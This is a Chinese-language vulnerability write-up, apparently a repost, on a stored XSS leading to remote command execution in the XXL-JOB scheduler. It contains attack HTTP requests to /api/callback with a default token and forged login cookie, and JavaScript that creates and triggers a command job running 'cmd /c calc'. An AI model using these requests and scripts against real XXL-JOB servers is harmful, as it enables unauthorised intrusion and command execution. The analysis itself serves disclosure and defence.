2026-07-01-XXL-JOB-XSS-RCE

admin 2026-07-09 07:20:48 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档分析了XXL-JOB开源项目的XSS与RCE漏洞。XSS漏洞通过/api/callback接口注入恶意handleMsg,利用模板渲染触发;RCE漏洞则通过XSS执行JavaScript创建并触发命令执行任务。利用条件是需要存在执行失败的任务。建议修复输入验证和权限控制。 综合评分: 87 文章分类: WEB安全,漏洞分析,红队,渗透测试


cover_image

2026-07-01-XXL-JOB-XSS-RCE

原创

XinYiSec XinYiSec

XinYiSleepSecc

2026年7月5日 13:38 陕西

在小说阅读器读本章

去阅读

一.基础信息

XXL-job是一个开源的产品,部署起来还是蛮简单的这里就不讲了。 https://github.com/xuxueli/xxl-job

time: 6.20

      免责声明由于传播、利用本公众号Sleep sec所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号Sleep sec及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,会立即删除并致歉。

二.漏洞挖掘

2.1:XSS挖掘

这套系统使用的拦截器进行权限验证图一XxlSsoWebInterceptor#preHandle,其他的先不看首先我们通过反射拿到对应controller的方法@XxlSso这个注解,拿到之后不等于null那参数login内容,空就是true了,51行取反就跳过了。那么就很明显了存在@XxlSso注解并且login参数是false就放行51行。

下面图一就很符合我们的条件是一个可以访问的路由,47行之前都是一些基础判断必须等于post请求,url参数并且存在内容requestBody也一样,走到

| | | — | | List callbackParamList = GsonTool.fromJson(requestBody, List.class, CallbackRequest.class); |

通过 Gson 将 JSON 字符串反序列化为 List,其中 CallbackRequest.class 指定 List 元素的类型,Gson 按该类的字段结构解析 JSON 中每个对象并赋值,之后走进

| | | — | | return adminBiz.callback(callbackParamList); |

会经过callback接着走进去,图二。

上图我们得知会循环List进入doCallback方法跟进去看看,下面图一,获取我们传入的LogId进入load这个其实就到了MyBatis的Mapper接口层了下面代码一,就是查表xxl_job_log,我们传入的LogId查询xxl_job_log表条件就是t.id = #{id},这里我们都能控制问题不大,这里有个条件就是log.getHandleCode() ,通过数据库查询的字段HandleCode需要小于0才能走下去,这个是一个很关键的条件,后面就是append在Setter了,执行到complete进入看看图二,53行直接就执行sql了代码二,更新了xxl_job_log,现在我们知道的是我们可以控制参数插入进数据库这个xxl-job表很少瞬间让我想到有没有xss呢?为了验证这个想法,我们就去看看哪里用到了查询Select。

| | | — | | |

| | | — | |     UPDATE xxl_job_log     SET          handle\_time= #{handleTime},          handle\_code= #{handleCode},         handle\_msg= #{handleMsg}     WHERE id= #{id}     delete from xxl_job_log     WHERE job_id = #{jobId} |

代码一我们直接网上找,发现直接就到Controller了都没有Service层,也省去看逻辑了,图一。

| | | — | | |

但是这里有个问题就是@ResponseBody注解他直接返回json了,不要慌我在往上看的时候看到了,模板渲染。index方法其中渲染会执行AJAX请求pageList方法,八嘎那么漏洞就形成了。

那么还记得之前的条件吗?没错需要在任务管理存在一次执行失败的任务,并且请求响应不到就返回的是空这个我觉的基本上都存在失败的对于XXL-JOB这个系统来说,唯独就是load进行遍历就行了反正是存在有序的id。

| | | — | | POST /api/callback HTTP/1.1 Host: 192.168.1.153:8888 XXL-JOB-ACCESS-TOKEN: default_token User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:151.0) Gecko/20100101 Firefox/151.0 Accept: */* Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/json; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 104 Cookie: xxl_job_login_token=ewogICJ1c2VySWQiOiAxLAogICJ1c2VyTmFtZSI6ICJhZG1pbiIsCiAgInJlYWxOYW1lIjogIjEiLAogICJleHRyYUluZm8iOiB7Imxpbmd6dSI6ICJsaW5nenUifSwKICAicm9sZUxpc3QiOiBbImxpbmd6dSIsICJsaW5nenUiXSwKICAicGVybWlzc2lvbkxpc3QiOiBbImxpbmd6dSIsICJsaW5nenUiXSwKICAiZXhwaXJlVGltZSI6IDk5OTk5OTk5OTk5OTksCiAgInNpZ25hdHVyZSI6IDEKfQ== [{“logId”:160,”handleCode”:0,”handleMsg”:”“}] 遍历的话就遍历logId |

2.2:RCE

这里其实就非常简单了,因为在后台的话本身就存在命令执行的功能,唯独就是写一下js的问题了,代码一

| | | — | | fetch(‘/jobinfo/insert’, {   method: ‘POST’,   headers: {‘Content-Type’: ‘application/x-www-form-urlencoded’},   body: ‘jobGroup=2&jobDesc=lingzu&author=lingzu&alarmEmail=&scheduleType=NONE&scheduleConf=&glueType=BEAN&executorHandler=commandJobHandler&executorParam=cmd /c calc&executorRouteStrategy=FIRST&childJobId=&misfireStrategy=DO_NOTHING&executorBlockStrategy=SERIAL_EXECUTION&executorTimeout=0&executorFailRetryCount=0&glueRemark=x&glueSource=’ }) .then(r => r.json()) .then(d => {   if (d.code == 200) {     fetch(‘/jobinfo/trigger’, {       method: ‘POST’,       headers: {‘Content-Type’: ‘application/x-www-form-urlencoded’},       body: ‘id=’ + d.data + ‘&executorParam=cmd /c calc&addressList=http://127.0.0.1:9999’     });   } }); |

| | | — | | POST /api/callback HTTP/1.1 Host: 192.168.1.153:8888 XXL-JOB-ACCESS-TOKEN: default_token User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:151.0) Gecko/20100101 Firefox/151.0 Accept: */* Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/json; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 104 Cookie: xxl_job_login_token=ewogICJ1c2VySWQiOiAxLAogICJ1c2VyTmFtZSI6ICJhZG1pbiIsCiAgInJlYWxOYW1lIjogIjEiLAogICJleHRyYUluZm8iOiB7Imxpbmd6dSI6ICJsaW5nenUifSwKICAicm9sZUxpc3QiOiBbImxpbmd6dSIsICJsaW5nenUiXSwKICAicGVybWlzc2lvbkxpc3QiOiBbImxpbmd6dSIsICJsaW5nenUiXSwKICAiZXhwaXJlVGltZSI6IDk5OTk5OTk5OTk5OTksCiAgInNpZ25hdHVyZSI6IDEKfQ== [{“logId”: 160,”handleCode”:0,”handleMsg”:”“}] |


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:XinYiSleepSecc XinYiSec XinYiSec《2026-07-01-XXL-JOB-XSS-RCE》

评论:0   参与:  0